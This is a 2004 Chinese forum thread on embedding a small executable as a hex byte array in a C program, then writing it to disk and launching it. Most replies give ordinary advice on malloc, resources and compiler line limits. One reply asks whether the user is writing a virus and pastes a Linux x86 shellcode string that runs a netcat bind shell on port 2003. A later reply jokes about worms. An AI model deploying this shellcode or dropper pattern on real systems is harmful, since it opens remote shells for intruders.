首页
社区
课程
招聘
请教:c 语言中数组下标的最大值可以是多少???
发表于: 2004-10-12 10:25 8852

请教:c 语言中数组下标的最大值可以是多少???

2004-10-12 10:25
8852
c 语言中数组下标的最大值可以是多少???

如 int data[?]

?号处的最大值可以是多少??

我想将一个可执行文件(4K)用16进制的型式存放在data中

还有什么别的方法吗/?

谢谢 :)

[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

收藏
免费 1
支持
分享
最新回复 (15)
雪    币: 2319
活跃值: (565)
能力值: (RANK:300 )
在线值:
发帖
回帖
粉丝
2
学习 malloc
2004-10-12 10:51
0
雪    币: 768
活跃值: (530)
能力值: ( LV13,RANK:460 )
在线值:
发帖
回帖
粉丝
3
我的意思是:有一个(exe)文件,我用WINHEX打开后,将数据以 C 的16进制形垫,存放在data[]中,运行我的程序时,将data中的数据写入新建的EXE文件中,
然后SHELL调用,运行新建的EXE文件。:)
2004-10-12 15:34
0
雪    币: 2319
活跃值: (565)
能力值: (RANK:300 )
在线值:
发帖
回帖
粉丝
4
检查 exe 的大小之后用 malloc 取空间,找教程看看

不要再想 data[]

浪费内存空间制造巨型数组放置大小不定的数据
2004-10-12 15:57
0
雪    币: 13095
活跃值: (4092)
能力值: ( LV15,RANK:1673 )
在线值:
发帖
回帖
粉丝
5
4K大应该没问题

还有方法就是将那个EXE文件直接附在你的程序后面,用时读出来再写成一个新的文件.
2004-10-12 16:07
0
雪    币: 768
活跃值: (530)
能力值: ( LV13,RANK:460 )
在线值:
发帖
回帖
粉丝
6
AloneWolf:好像明白了的我想法了:)

我是想,不能将exe文件以数据形势 保存在常量中吗??
如果能怎么做???

我这方面学的不扎实,好像设及到编译方式的问题了!

riijj:我的目的是不要两个文件,

在开发时,将目标文件就以数据的形势保存在常量中,运行程序时动态的用常量中的数据建一个EXE文件,明白吗?

谢谢两位:)
2004-10-12 17:02
0
雪    币: 13095
活跃值: (4092)
能力值: ( LV15,RANK:1673 )
在线值:
发帖
回帖
粉丝
7
你说的HEX也不是不可以,这样就行了,如;
const unsigned char ExeFileData[]={
0x4d,0x5a......
};
到时再将ExeFileData的内容写到ExeFile就行了...
2004-10-12 17:31
0
雪    币: 2319
活跃值: (565)
能力值: (RANK:300 )
在线值:
发帖
回帖
粉丝
8
啊,原来你想把 exe 放在你的执行文件

你可以把那 exe 当成一般的资源存在你的执行文件 (像一个程序的 icon, cursor , 图片一样)

举例说,如果你用 VC6 ,你只需要把那 exe 加到你的 project 里,把它
当成资源

运行的时候,用 LoadResource 跟 LockResource 取得它的位置  (pointer to first byte )
2004-10-12 17:35
0
雪    币: 768
活跃值: (530)
能力值: ( LV13,RANK:460 )
在线值:
发帖
回帖
粉丝
9
AloneWolf:

不行啊!!
我就是这样试过,你在VC里试试!:) 不让粘贴。
提示:Line broken:the line would exceed 2048 characters

#################################
riijj:

你的思路不错,我没想到过:)
回来试试,

关建是在TC2中怎么办呢??我用的是VC6,可如果在TC2中,还是用data常量好用:)
2004-10-13 10:08
0
雪    币: 3758
活跃值: (3337)
能力值: ( LV15,RANK:500 )
在线值:
发帖
回帖
粉丝
10
如果非要用这种只有老师才会用的方法(嘿嘿)
你用winhex来拷贝为C style的数组定义,会替你断行

C编译器报错信息已经很明白了,你把数组所有内容都写在一行了.
2004-10-13 11:08
0
雪    币: 768
活跃值: (530)
能力值: ( LV13,RANK:460 )
在线值:
发帖
回帖
粉丝
11
哈哈!!成功!成功!!!
原来是这么一回事!
怎么这还有要求啊???
真是怪!!!
写一行与写多行不一样吗??
反正都是DATA中的数据呗!!

谢谢 !!!!
2004-10-13 13:21
0
雪    币: 768
活跃值: (530)
能力值: ( LV13,RANK:460 )
在线值:
发帖
回帖
粉丝
12
不对!!不对
我做了个变态的试验,开了一个RAR包(1.2M)这样就不行了!!
这是什么原因限制的?
2004-10-13 13:26
0
雪    币: 13095
活跃值: (4092)
能力值: ( LV15,RANK:1673 )
在线值:
发帖
回帖
粉丝
13
16位下的?
一个段最多才64K....1.2M当然不行,VC下应该可以吧...
2004-10-13 14:49
0
雪    币: 768
活跃值: (530)
能力值: ( LV13,RANK:460 )
在线值:
发帖
回帖
粉丝
14
我就是在VC下的啊!
2004-10-13 15:21
0
雪    币: 208
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
15
写病毒呢?可以写成你说的那16进制,找些shellcode的编写教程应该可以参出来
和这个类似吧
#include<stdio.h>

#include<stdlib.h>

#include<unistd.h>

#define bufsize 272

char shellcode[] =

"\xeb\x33\x5e\x31\xc0\x88\x46\x07\x88\x46\x0a\x88\x46\x0d\x88"

"\x46\x12\x89\x76\x13\x8d\x5e\x08\x89\x5e\x17\x8d\x5e\x0b\x89"

"\x5e\x1b\x8d\x5e\x0e\x89\x5e\x1f\x89\x46\x23\xb0\x0b\x89\xf3"

"\x8d\x4e\x13\x8d\x56\x23\xcd\x80\xe8\xc8\xff\xff\xff\x2f\x75"

"\x73\x72\x2f\x6e\x63\x23\x2d\x6c\x23\x2d\x70\x23\x32\x30\x30"

"\x33\x23\x41\x41\x41\x41\x42\x42\x42\x42\x43\x43\x43\x43\x44"

"\x44\x44\x44\x45\x45\x45\x45";

int main(int argc,char *argv[]){
2004-10-13 22:10
0
雪    币: 768
活跃值: (530)
能力值: ( LV13,RANK:460 )
在线值:
发帖
回帖
粉丝
16
测试一下写里蠕虫的能力:)
2004-10-15 09:03
0
游客
登录 | 注册 方可回帖
返回
//